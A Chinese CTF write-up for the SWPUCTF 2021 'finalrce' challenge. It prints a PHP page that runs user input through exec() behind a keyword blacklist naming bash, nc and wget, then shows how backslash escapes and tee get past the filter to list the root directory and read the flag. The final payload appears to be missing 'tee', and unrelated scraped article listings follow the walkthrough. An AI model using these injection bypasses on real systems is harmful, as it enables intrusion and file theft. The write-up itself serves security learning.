[SWPUCTF 2021 新生赛]finalrce
<?php
highlight_file(__FILE__);
if(isset($_GET['url']))
{
$url=$_GET['url'];
if(preg_match('/bash|nc|wget|ping|ls|cat|more|less|phpinfo|base64|echo|php|python|mv|cp|la|\-|\*|\"|\>|\<|\%|\$/i',$url))
{
echo "Sorry,you can't use this.";
}
else
{
echo "Can you see anything?";
exec($url);
}
}
过滤了很多东西,直接读文件和反弹shell不太能用了,并且这里如果直接取反的话是无回显的,所以我们要么写文件要么反弹shell,但是正常写文件的>符号被过滤,反弹shell的bash、nc、&、>等符号都被过滤了,我直接无从下手了
这里就需要绕过关键字过滤,看了一下大佬们的wp
转义符\绕过
转义字符是用于在字符串中表示特殊字符的符号。它通常以反斜杠(\)开头,后面跟随一个特定的字符,以表示该字符的特殊含义或防止其被解释为其他含义。在不同的编程语言或环境中,转义字符的实际含义可能会有所不同,但在许多情况下,它们用来处理以下几种情况:
1. 表示特殊字符:
某些字符在字符串中有特殊的意义,使用转义字符可以让它们被当作普通字符来处理。例如:
\':表示单引号字符。\":表示双引号字符。\\:表示反斜杠字符。
2. 代表不可见或控制字符:
转义字符还可以用来表示不可见或控制字符,如:
\n:换行符。\t:制表符。\r:回车符。
3. 编码字符:
某些程序或语言支持通过转义字符来表示Unicode字符,如:
\uXXXX:表示对应的Unicode字符,其中XXXX是四位十六进制数字。
示例:
command | tee [OPTION]... [FILE]...
在PHP中,转义字符在字符串中用来处理复杂的字符:
$example = "He said, \"Hello, World!\""; // 双引号需要转义
$path = "C:\\Program Files\\MyApp"; // 反斜杠需要转义
tee命令绕过>过滤
我们正常写文件要用到>符号,这里被过滤了,我们可以利用linux系统的tee命令来写文件
tee 命令是 Linux 中一个非常有用的命令行工具,它用于从标准输入读取数据,并将其同时输出到标准输出(通常是终端)和一个或多个文件中。它的名称来自于字母“T”,形象地表示数据分流的过程。
基本语法
command | tee [OPTION]... [FILE]...
常用选项
-a:将输出追加到文件末尾,而不是覆盖文件。-i:忽略中断信号。
使用示例
基本用法: 将
echo的输出同时显示在终端和文件中:echo "Hello World" | tee output.txt这会将 "Hello World" 输出到终端,并同时写入
output.txt文件。追加到文件: 使用
-a选项将内容追加到文件中:echo "Another line" | tee -a output.txt这会将 "Another line" 添加到
output.txt文件的末尾,而不会覆盖原有内容。从其他命令获取输出: 将
ls命令的输出同时传递给tee命令:ls -l | tee output.txt这会将
ls -l的输出显示在终端上,并保存到output.txt文件中。多个文件: 将输出同时写入多个文件:
echo "Log message" | tee file1.txt file2.txt这会将 "Log message" 同时写入
file1.txt和file2.txt。
解题
知道怎么绕过关键字过滤本题解法就一目了然了
首先查看根目录文件
?url=l\s / | tee 1.txt
然后我们访问1.txt就可以看到回显内容,看到flag文件flllllaaaaaaggggggg,我们访问
?url=tac /flllll\aaaaaaggggggg | 1.txt
由于la被过滤,所以l和a中间要加转义符,访问1.txt,拿到flag
[SWPUCTF 2021 新生赛]finalrce的更多相关文章
- [SWPUCTF 2021 新生赛]jicao
CTF web安全 阅读代码可知当传入一个post型的参数id与wllmNB相等并且传入一个get型的参数json: 但是这里有一个函数json_decode,上网搜索可知json_decode这个函 ...
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga
[ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt
[ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]rome
[ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]easyre
[ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...
- 2021江西省赛线下赛赛后总结(Crypto)
2021江西省赛线下赛 crypto1 题目: from random import randint from gmpy2 import * from Crypto.Util.number impor ...
随机推荐
- python 读写csv文件(创建,追加,覆盖)
读取csv文件 利用 csv.reader 可以读 csv 文件,然后返回一个可迭代的对象 csv_read,我们可以直接从 csv_read 中取数据 import csv def read_csv ...
- go 判断数组下标是否存在
举例 现在需要判断命令行是否传了参数,即 os.Args[1] 是否存在 如果使用下述的判断: func main() { fmt.Println(os.Args[1]) } 会报错:index ou ...
- laravel proc_get_status() has been disabled for security reasons
解决办法: 在php.ini中,找到disable_functions选项,看看后面是否有proc_open函数被禁用了,去掉proc_get_status,proc_open即可
- halcon 入门教程(六) 图像匹配(基于形状的模板匹配)与缺陷检测区域定位
原文作者:aircraft 原文链接:https://www.cnblogs.com/DOMLX/p/18783476 有兴趣可以多看其他的halcon教程 halcon 学习教程目录 本篇主要讲一下 ...
- Pydantic字段级校验:解锁@validator的12种应用
title: Pydantic字段级校验:解锁@validator的12种应用 date: 2025/3/23 updated: 2025/3/23 author: cmdragon excerpt: ...
- win10/11 禁用移动热点,无法启用
将网络重制即可
- 深入理解Hadoop读书笔记-3
背景 公司的物流业务系统目前实现了使用storm集群进行过门事件的实时计算处理,但是还有一个需求,我们需要存储每个标签上传的每条明细数据,然后进行定期的标签报表统计,这个是目前的实时计算框架无法满足的 ...
- 用于线程同步的Interlocked系列函数主要有哪些
原子访问 通过Interlocked系列函数是 Windows API 提供的一组原子操作函数,用于在多线程环境中安全地操作共享变量.当我们执行这些Interlocked系列函数的时候 ,函数会对总线 ...
- AI可解释性 I | 对抗样本(Adversarial Sample)论文导读(持续更新)
AI可解释性 I | 对抗样本(Adversarial Sample)论文导读(持续更新) 导言 本文作为AI可解释性系列的第一部分,旨在以汉语整理并阅读对抗攻击(Adversarial Attack ...
- Visual Studio 2022 v17.13新版发布:强化稳定性和安全,助力 .NET 开发提效!
前言 今天大姚带领大家一起来看看 Visual Studio 2022 v17.13 新版发布都更新了哪些新功能,为我们开发工作带来了哪些便利,是否真的值得我们花费时间把 Visual Studio ...